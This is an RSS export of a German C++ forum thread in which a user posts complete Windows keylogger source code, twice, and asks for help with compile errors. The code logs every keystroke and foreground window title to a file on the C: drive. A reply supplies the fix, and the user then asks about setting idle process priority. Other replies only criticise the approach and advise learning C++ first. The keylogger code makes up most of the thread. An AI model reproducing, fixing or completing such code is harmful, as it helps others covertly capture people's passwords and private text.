<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Keylogger Problem beim Kompilieren]]></title><description><![CDATA[<p>Hallo Leute beim Kompilieren sind Fehler aufgetreten.. könnt ihr mir bitte helfen <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f615.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--confused_face"
      title=":confused:"
      alt="😕"
    /></p>
<p>Error:<br />
In function 'void StoreKey(std::string)':<br />
[Error] statement cannot resolve address of overloaded function</p>
<p>In function 'void Logger()':<br />
[Error] statement cannot resolve address of overloaded function</p>
<p>Hier der Code</p>
<pre><code>#include &lt;windows.h&gt;
#include &lt;fstream&gt;
#include &lt;string&gt;

using namespace std;

string convertkey(int key){
string keystring;
switch(key)
  {
  case 8 :
       keystring = &quot;[/]&quot;;
       break;
  case 13 :
       keystring = &quot;\n&quot;;
       break;
  case 32 :
       keystring = &quot; &quot;;
       break;
  case 190 :
       keystring = &quot;.&quot;;
       break;
  case 110 :
       keystring = &quot;.&quot;;
       break;
  case VK_CAPITAL :
       keystring = &quot;[CAPS LOCK]&quot;;
       break;
  case VK_TAB :
       keystring = &quot;[TAB]&quot;;
       break;
  case VK_CONTROL :
       keystring = &quot;[CONTROL]&quot;;
       break;
  case VK_ESCAPE :
       keystring = &quot;[ESCAPE]&quot;;
       break;
  case VK_DOWN :
       keystring = &quot;[DOWN]&quot;;
       break;
  case VK_LEFT :
       keystring = &quot;[LEFT]&quot;;
       break;
  case VK_RIGHT :
       keystring = &quot;[RIGHT]&quot;;
       break;
  case VK_UP :
       keystring = &quot;[UP]&quot;;
       break;
  }
  if(key &gt;= 96 &amp;&amp; key &lt;= 105)
         keystring = key-48;
  else if (key &gt; 47 &amp;&amp; key &lt; 60)
         keystring = key;
  if (key != VK_LBUTTON || key != VK_RBUTTON)
    {
        if (key &gt; 64 &amp;&amp; key &lt; 91)
        {
            if (GetKeyState(VK_CAPITAL) | GetAsyncKeyState(VK_SHIFT)) 
                keystring = key;                                                              
            else 
            {
                key = key + 32;                              
                keystring = key;
            }
        }
    }
    return keystring;
}

void StoreKey(string key){
   ofstream storekey(&quot;C:\\storekey.txt&quot;, ios::app);
   storekey &lt;&lt; key;
   storekey.close;
}

void Logger()
{
 string keyinstring = &quot;&quot;;
 int key;
 char currentwindowtitle[MAX_PATH];
 char newwindowtitle[MAX_PATH];
 GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));              
 while(true)
 {
 Sleep(5);
 for(key = 8; key &lt;= 256; key++)
    {
         if(GetAsyncKeyState(key)&amp;1 == 1)                                                                  
         {
             GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));                        
             if (strcmp(newwindowtitle, currentwindowtitle) != 0)                                                         
             {    
                     ofstream storekey(&quot;C:\\storekey.txt&quot;, ios::app);
                     storekey &lt;&lt; endl &lt;&lt; currentwindowtitle &lt;&lt; endl;
                     storekey.close;
                     strcpy(newwindowtitle, currentwindowtitle);
             }
             keyinstring = convertkey(key);
             StoreKey(keyinstring);                      
         }
    }
 }
}

int main(){
   Logger();
   return 1;
}
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/topic/315837/keylogger-problem-beim-kompilieren</link><generator>RSS for Node</generator><lastBuildDate>Thu, 30 Jul 2026 13:08:54 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/315837.rss" rel="self" type="application/rss+xml"/><pubDate>Sat, 13 Apr 2013 15:17:28 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to Keylogger Problem beim Kompilieren on Sat, 13 Apr 2013 15:17:28 GMT]]></title><description><![CDATA[<p>Hallo Leute beim Kompilieren sind Fehler aufgetreten.. könnt ihr mir bitte helfen <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f615.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--confused_face"
      title=":confused:"
      alt="😕"
    /></p>
<p>Error:<br />
In function 'void StoreKey(std::string)':<br />
[Error] statement cannot resolve address of overloaded function</p>
<p>In function 'void Logger()':<br />
[Error] statement cannot resolve address of overloaded function</p>
<p>Hier der Code</p>
<pre><code>#include &lt;windows.h&gt;
#include &lt;fstream&gt;
#include &lt;string&gt;

using namespace std;

string convertkey(int key){
string keystring;
switch(key)
  {
  case 8 :
       keystring = &quot;[/]&quot;;
       break;
  case 13 :
       keystring = &quot;\n&quot;;
       break;
  case 32 :
       keystring = &quot; &quot;;
       break;
  case 190 :
       keystring = &quot;.&quot;;
       break;
  case 110 :
       keystring = &quot;.&quot;;
       break;
  case VK_CAPITAL :
       keystring = &quot;[CAPS LOCK]&quot;;
       break;
  case VK_TAB :
       keystring = &quot;[TAB]&quot;;
       break;
  case VK_CONTROL :
       keystring = &quot;[CONTROL]&quot;;
       break;
  case VK_ESCAPE :
       keystring = &quot;[ESCAPE]&quot;;
       break;
  case VK_DOWN :
       keystring = &quot;[DOWN]&quot;;
       break;
  case VK_LEFT :
       keystring = &quot;[LEFT]&quot;;
       break;
  case VK_RIGHT :
       keystring = &quot;[RIGHT]&quot;;
       break;
  case VK_UP :
       keystring = &quot;[UP]&quot;;
       break;
  }
  if(key &gt;= 96 &amp;&amp; key &lt;= 105)
         keystring = key-48;
  else if (key &gt; 47 &amp;&amp; key &lt; 60)
         keystring = key;
  if (key != VK_LBUTTON || key != VK_RBUTTON)
    {
        if (key &gt; 64 &amp;&amp; key &lt; 91)
        {
            if (GetKeyState(VK_CAPITAL) | GetAsyncKeyState(VK_SHIFT)) 
                keystring = key;                                                              
            else 
            {
                key = key + 32;                              
                keystring = key;
            }
        }
    }
    return keystring;
}

void StoreKey(string key){
   ofstream storekey(&quot;C:\\storekey.txt&quot;, ios::app);
   storekey &lt;&lt; key;
   storekey.close;
}

void Logger()
{
 string keyinstring = &quot;&quot;;
 int key;
 char currentwindowtitle[MAX_PATH];
 char newwindowtitle[MAX_PATH];
 GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));              
 while(true)
 {
 Sleep(5);
 for(key = 8; key &lt;= 256; key++)
    {
         if(GetAsyncKeyState(key)&amp;1 == 1)                                                                  
         {
             GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));                        
             if (strcmp(newwindowtitle, currentwindowtitle) != 0)                                                         
             {    
                     ofstream storekey(&quot;C:\\storekey.txt&quot;, ios::app);
                     storekey &lt;&lt; endl &lt;&lt; currentwindowtitle &lt;&lt; endl;
                     storekey.close;
                     strcpy(newwindowtitle, currentwindowtitle);
             }
             keyinstring = convertkey(key);
             StoreKey(keyinstring);                      
         }
    }
 }
}

int main(){
   Logger();
   return 1;
}
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/2315241</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/2315241</guid><dc:creator><![CDATA[Humanorgan]]></dc:creator><pubDate>Sat, 13 Apr 2013 15:17:28 GMT</pubDate></item><item><title><![CDATA[Reply to Keylogger Problem beim Kompilieren on Sat, 13 Apr 2013 15:26:28 GMT]]></title><description><![CDATA[<p>hinter .close müssen Klammern: .close().<br />
Das ist übrigens gar nicht notwendig, close überhaupt aufzurufen.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/2315244</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/2315244</guid><dc:creator><![CDATA[Nathan]]></dc:creator><pubDate>Sat, 13 Apr 2013 15:26:28 GMT</pubDate></item><item><title><![CDATA[Reply to Keylogger Problem beim Kompilieren on Sat, 13 Apr 2013 15:59:01 GMT]]></title><description><![CDATA[<p>Danke für die Antwort, hat geholfen!!</p>
<p>Ist etwas an dem hier falsch? oder hab ich's einfach an der falschen Stelle hinein geschrieben <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f615.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--confused_face"
      title=":confused:"
      alt="😕"
    /></p>
<pre><code>SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/2315251</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/2315251</guid><dc:creator><![CDATA[Humanorgan]]></dc:creator><pubDate>Sat, 13 Apr 2013 15:59:01 GMT</pubDate></item><item><title><![CDATA[Reply to Keylogger Problem beim Kompilieren on Sat, 13 Apr 2013 20:40:18 GMT]]></title><description><![CDATA[<p>Keine Ahnung ob das richtig ist, kommt drauf an was du damit bezwecken willst. Aber wenn du so fragst bezweifle ich dass du weißt was du da tust...</p>
<p>Im übrigen ist das so ziemlich der schlechteste Ansatz einen Keylogger zu realisieren..<br />
Aus deinem ersten Post schließe ich dass du noch Anfänger bist, ich würde dir eher raten dir ein paar Tutorials anzuschauen statt gleich zu versuchen einen Keylogger zu machen.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/2315306</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/2315306</guid><dc:creator><![CDATA[DarkShadow44]]></dc:creator><pubDate>Sat, 13 Apr 2013 20:40:18 GMT</pubDate></item><item><title><![CDATA[Reply to Keylogger Problem beim Kompilieren on Sun, 14 Apr 2013 12:59:26 GMT]]></title><description><![CDATA[<p>DarkShadow44 schrieb:</p>
<blockquote>
<p>Aus deinem ersten Post schließe ich dass du noch Anfänger bist, ich würde dir eher raten dir ein <s>paar Tutorials</s><strong>vernünftiges Buch</strong> <s>anzuschauen</s><strong>aufmerksam durcharbeiten</strong> statt gleich zu versuchen einen Keylogger zu machen.</p>
</blockquote>
<p>Fixed that 4 you.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/2315379</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/2315379</guid><dc:creator><![CDATA[Ethon]]></dc:creator><pubDate>Sun, 14 Apr 2013 12:59:26 GMT</pubDate></item></channel></rss>